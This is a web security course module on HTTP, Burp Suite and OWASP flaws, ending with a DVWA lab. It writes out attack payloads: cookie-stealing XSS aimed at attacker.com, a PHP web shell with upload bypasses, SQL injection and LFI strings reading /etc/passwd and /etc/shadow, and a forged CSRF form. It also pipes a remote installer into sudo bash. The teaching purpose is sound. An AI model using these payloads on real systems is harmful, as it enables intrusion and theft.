Web Application Security
Objectives: By the end of this topic, you will be able to…
- Recognize and exploit common vulnerabilities in web applications
- Intercept and modify HTTP traffic
- Use automated analysis tools
- Understand the most common OWASP risks and how to mitigate them
Client-server model and HTTP
A web application is based on the client-server model: the client (browser) sends HTTP requests; the server processes them and responds with content.
HTTP is stateless — each request is independent and the server retains no memory of previous ones. To simulate state (keeping a user logged in across pages), applications use sessions maintained through cookies.
The HTTP request/response cycle
Client Server
| |
|-- GET /login HTTP/1.1 -------------> |
| Host: example.com |
| Cookie: session_id=abc123 |
| |
|<-- HTTP/1.1 200 OK ---------------- |
| Set-Cookie: session_id=xyz789 |
| Content-Type: text/html |
| <html>...</html> |
Every HTTP request has a method, path, headers, and optionally a body. Every response has a status code and headers.
| HTTP Method | Typical use |
|---|---|
GET | Retrieve a resource (parameters in URL) |
POST | Submit data (parameters in body) |
PUT / PATCH | Update a resource |
DELETE | Delete a resource |
| Status code range | Meaning |
|---|---|
| 2xx | Success |
| 3xx | Redirect |
| 4xx | Client error (404 Not Found, 403 Forbidden) |
| 5xx | Server error |
Cookies, sessions, and tokens
Because HTTP is stateless, the server issues a session identifier after login and stores it in a cookie. On every subsequent request, the browser automatically sends that cookie back — this is how the server knows who you are.
POST /login → server creates session, sets cookie: session_id=abc123
GET /dashboard → browser sends Cookie: session_id=abc123 automatically
Cookie security attributes control how cookies behave:
| Attribute | Effect |
|---|---|
HttpOnly | Cookie inaccessible to JavaScript — blocks XSS-based theft |
Secure | Cookie only sent over HTTPS |
SameSite=Strict | Cookie not sent with cross-site requests — blocks CSRF |
SameSite=Lax | Cookie sent with top-level navigation but not with embedded requests |
Typical web application components:
| Component | Description |
|---|---|
| Frontend | User interface (HTML, CSS, JavaScript) |
| Backend | Business logic (PHP, Python, Node.js) |
| Database | Persistent storage (MySQL, MongoDB, PostgreSQL) |
| Web server | Sits between client and backend (Apache, Nginx) |
| Sessions/cookies | Mechanisms to maintain state between requests |
HTTP traffic interception with Burp Suite
Before exploiting web vulnerabilities, you need to be able to see and modify HTTP requests in real time. Burp Suite acts as a proxy between your browser and the server.
Browser → Burp Suite (proxy on 127.0.0.1:8080) → Web server
↑
You intercept and
modify requests here
Basic workflow:
- Configure your browser to use
127.0.0.1:8080as HTTP proxy (or use Burp’s embedded browser) - Enable Intercept in the Proxy tab
- Browse to the target — Burp captures each request before it reaches the server
- Inspect and modify headers, parameters, cookies, and body at will
- Forward the (modified) request or drop it
Key Burp tabs for this lab:
| Tab | Purpose |
|---|---|
| Proxy → Intercept | Capture and modify live requests |
| Proxy → HTTP history | Review all past requests/responses |
| Repeater | Send a saved request repeatedly with changes and compare responses |
| Intruder | Automate payloads across a parameter (fuzzing, brute force) |
| Decoder | Encode/decode URL, Base64, HTML entities |
OWASP Top 10: key vulnerabilities
The OWASP Top 10 is the industry-standard list of the most critical web application security risks. The following sections cover each vulnerability exploited in this lab in depth.
Broken Access Control
OWASP #1. The server fails to enforce what authenticated users are allowed to do. A user can access resources or perform actions they should not be permitted to.
Insecure Direct Object Reference (IDOR) is the most common form: the application uses a predictable identifier in the URL or request body, and never checks whether the requesting user is authorized to access that object.
# Victim's own profile:
GET /user/profile?id=1042
# Attacker changes the ID:
GET /user/profile?id=1043 ← returns another user's data if no auth check
Other broken access control patterns:
- Accessing admin pages without admin role (
/admin/panel) - Modifying another user’s data by changing a hidden form field
- Bypassing access restrictions by manipulating the HTTP method (
GETinstead ofPOST)
Mitigation: Enforce authorization server-side on every request. Never rely on client-supplied IDs alone — verify that the authenticated user owns the resource.
SQL Injection (SQLi)
The application incorporates user input directly into a SQL query without sanitization. The attacker can alter the query’s logic, bypass authentication, extract data, or modify the database.
How it works — a vulnerable query:
// Vulnerable PHP code
$query = "SELECT * FROM users WHERE username='$_GET[user]'";Normal input: alice → query becomes:
SELECT * FROM users WHERE username='alice'Attacker input: ' OR '1'='1 → query becomes:
SELECT * FROM users WHERE username='' OR '1'='1''1'='1' is always true, so the query returns all rows. Authentication is bypassed.
UNION-based extraction — append a second SELECT to steal data from other tables:
' UNION SELECT username, password FROM users--The -- comments out the rest of the original query. The injected SELECT must return the same number of columns as the original.
Types of SQLi:
| Type | How it works |
|---|---|
| In-band (error-based) | Database error messages leak data |
| In-band (UNION-based) | Appended UNION SELECT returns data in the page |
| Blind (boolean-based) | Ask the database true/false questions; infer from page differences |
| Blind (time-based) | Inject SLEEP() or WAITFOR DELAY; infer from response time |
| Out-of-band | Data exfiltrated via DNS or HTTP to attacker server |
Mitigation: Use parameterized queries (prepared statements). Input never touches the query structure.
# Safe:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))Blind SQL Injection
When the application does not display query results or error messages, you must infer data indirectly.
Boolean-based: Send two requests that differ by one condition. If the page differs, the condition is true.
# Is the first character of the admin password 'a'?
?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
# If the page loads normally → true. If it changes → false. Repeat for each character.
Time-based: When there is no visible difference between true and false responses, delay the response instead.
-- MySQL: if condition is true, sleep 5 seconds
?id=1 AND IF(1=1, SLEEP(5), 0)--Tools like sqlmap automate both techniques, iterating through characters to reconstruct strings from thousands of true/false answers.
XSS (Cross-Site Scripting)
The application incorporates user input into the HTML page without sanitization. The attacker injects a script that executes in other users’ browsers — in the context of the legitimate site, with access to that user’s cookies and DOM.
Why this matters: JavaScript running from bank.com can read bank.com cookies, make authenticated bank.com requests, and exfiltrate results to the attacker.
Reflected XSS
The payload is in the request (typically the URL) and is immediately reflected in the response. The victim must click a malicious link.
Attacker crafts:
https://victim.com/search?q=<script>document.location='https://attacker.com/?c='+document.cookie</script>
Victim clicks → server returns page containing the script → browser executes it → cookie sent to attacker
Stored XSS
The payload is saved to the database and served to every subsequent visitor — no link required.
Attacker posts a comment containing:
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
Every user who loads the comments page executes the script.
DOM-based XSS
No server involvement. Client-side JavaScript reads attacker-controlled data (URL fragment, document.referrer, postMessage) and writes it to the DOM without sanitization.
// Vulnerable client-side code:
document.getElementById('output').innerHTML = location.hash.slice(1);
// Attacker URL:
https://victim.com/page#<img src=x onerror=alert(document.cookie)>Common payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>Mitigation: HTML-encode all user input before inserting it into the page. Use textContent instead of innerHTML in JavaScript. Apply a strict Content-Security-Policy header.
CSRF (Cross-Site Request Forgery)
The browser automatically sends cookies with every request to the matching domain. CSRF exploits this: the attacker tricks the victim’s browser into sending a forged request to a site where the victim is already authenticated.
How it works:
- Victim is logged in to
bank.com(session cookie in browser) - Victim visits
attacker.com, which contains a hidden form:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>- Browser submits the form and automatically includes the
bank.comsession cookie - Bank’s server sees a valid, authenticated request and processes the transfer
Mitigation:
| Defense | How it works |
|---|---|
| CSRF token | Server generates a secret, unpredictable token per session and embeds it in forms. Server rejects requests missing or with wrong token. Attacker cannot read the token due to Same-Origin Policy. |
SameSite=Strict cookie | Browser refuses to send the cookie with any cross-site request |
Origin / Referer header check | Server validates that the request originated from its own domain |
LFI (Local File Inclusion)
The application uses a user-controlled parameter to include a file on the server without validating the path.
Vulnerable code:
<?php include($_GET['page']); ?>Normal use: ?page=contact.php
Path traversal attack: Use ../ sequences to escape the intended directory and read arbitrary files.
?page=../../../../../../etc/passwd
On a successful LFI, the contents of /etc/passwd appear in the page response.
Other targets:
/etc/shadow # password hashes (requires root)
/var/log/apache2/access.log # log poisoning → code execution
/proc/self/environ # environment variables (may contain secrets)
Log poisoning — escalating LFI to Remote Code Execution:
- Inject PHP code into a log file the server reads (e.g., send
User-Agent: <?php system($_GET['cmd']); ?>) - Include the log file via LFI:
?page=../../var/log/apache2/access.log&cmd=id - The PHP interpreter executes the injected code
Mitigation: Never pass user input directly to include() or require(). Use a whitelist of allowed pages.
File Upload Vulnerabilities
The application accepts file uploads but fails to properly validate the file type or content, allowing an attacker to upload executable code.
What makes a file dangerous on the server: if the uploaded file ends up in a web-accessible directory and the server executes it (e.g., PHP files served by Apache), the attacker gains arbitrary code execution.
Common bypass techniques for weak filters:
| Filter type | Bypass |
|---|---|
| Extension check (blacklist) | Double extension: shell.php.jpg; alternate extensions: .php5, .phtml, .phar |
| Extension check (Content-Type) | Send Content-Type: image/jpeg while file contains PHP code |
| Content/magic bytes check | Prepend GIF89a to a PHP file — file starts with a valid GIF header |
| Combination | GIF89a <?php system($_GET['cmd']); ?> saved as shell.php%00.jpg (null byte, older PHP) |
Example PHP web shell:
<?php system($_GET['cmd']); ?>After uploading, browse to the file: http://target/uploads/shell.php?cmd=id
Mitigation: Store uploads outside the web root. Rename files server-side. Validate MIME type via file content (not extension or header). Serve uploads through a dedicated endpoint that never executes them.
Analysis of HTTP requests and sessions
Understanding HTTP traffic is essential for finding and exploiting vulnerabilities:
- HTTP Methods:
GET,POST,PUT,DELETE - HTTP Headers:
User-Agent,Cookie,Referer,Authorization,Content-Type - Request body and parameters (form data, JSON payloads, multipart)
- Session management: session cookies, CSRF tokens, JWTs, persistent authentication
Key headers attackers inspect and manipulate:
| Header | Purpose | Attack relevance |
|---|---|---|
Cookie | Carries session identifier | Theft via XSS; tampering for privilege escalation |
Referer | URL of the previous page | Leaks visited URLs; used in CSRF defenses |
Authorization | Bearer tokens, Basic auth | Token theft, replay attacks |
Content-Type | Format of the request body | Changing to application/json can bypass CSRF middleware |
X-Forwarded-For | Client IP behind proxy | Spoofed to bypass IP-based access controls |
Interceptors and automated scanners
| Tool | Description |
|---|---|
| Burp Suite | Proxy/interceptor for HTTP modification, attack automation, app mapping |
| OWASP ZAP | Free alternative to Burp with automated scanning |
| Nikto | Vulnerability scanner for web servers |
| sqlmap | Automates detection and exploitation of SQLi |
| wfuzz / ffuf | Fuzzing of routes and parameters |
| WhatWeb / Wappalyzer | Technology fingerprinting |
Hands-on lab
Requirements: Kali Linux, DVWA
Lab setup: Installing DVWA
sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)"DVWA will be available at http://localhost/DVWA. Login with admin:password, click “Create / Reset Database”, then set difficulty to medium in DVWA Security settings.
Question
Before starting each exploit, click “View Source” in DVWA to read the server-side code. What specific insecure coding practice enables each vulnerability?
Instructions
Complete all of the following vulnerabilities in MEDIUM difficulty:
- CSRF — forge a request to change the admin password
- File Inclusion — include local/remote files through URL parameters
- File Upload — upload a malicious file bypassing filters
- SQL Injection — extract data from the database
- SQL Injection (Blind) — infer data through true/false responses
- XSS (DOM) — inject script through DOM manipulation
- XSS (Reflected) — inject script via URL parameter
- XSS (Stored) — store malicious script in the application
Question
Which vulnerability was hardest to exploit at medium difficulty, and what additional defense mechanism was DVWA using? How did you identify and bypass it?
Submission
Report showing the process of exploiting each vulnerability:
- Steps followed
- Tools and commands used
- Screenshots of successful exploitation
- Explanation of why the vulnerability exists
- Mitigation recommendation for each
Key concepts
| Term | Definition |
|---|---|
| XSS | Injection of malicious scripts into web pages |
| SQLi | Injection of malicious SQL code into input fields |
| CSRF | Attack that exploits the browser to send malicious requests |
| LFI | Inclusion of local server files via manipulable parameters |
| Burp Suite | HTTP proxy for web security testing |
| WAF | Specialized firewall for protecting web applications |
| OWASP Top 10 | List of the ten most critical web vulnerabilities |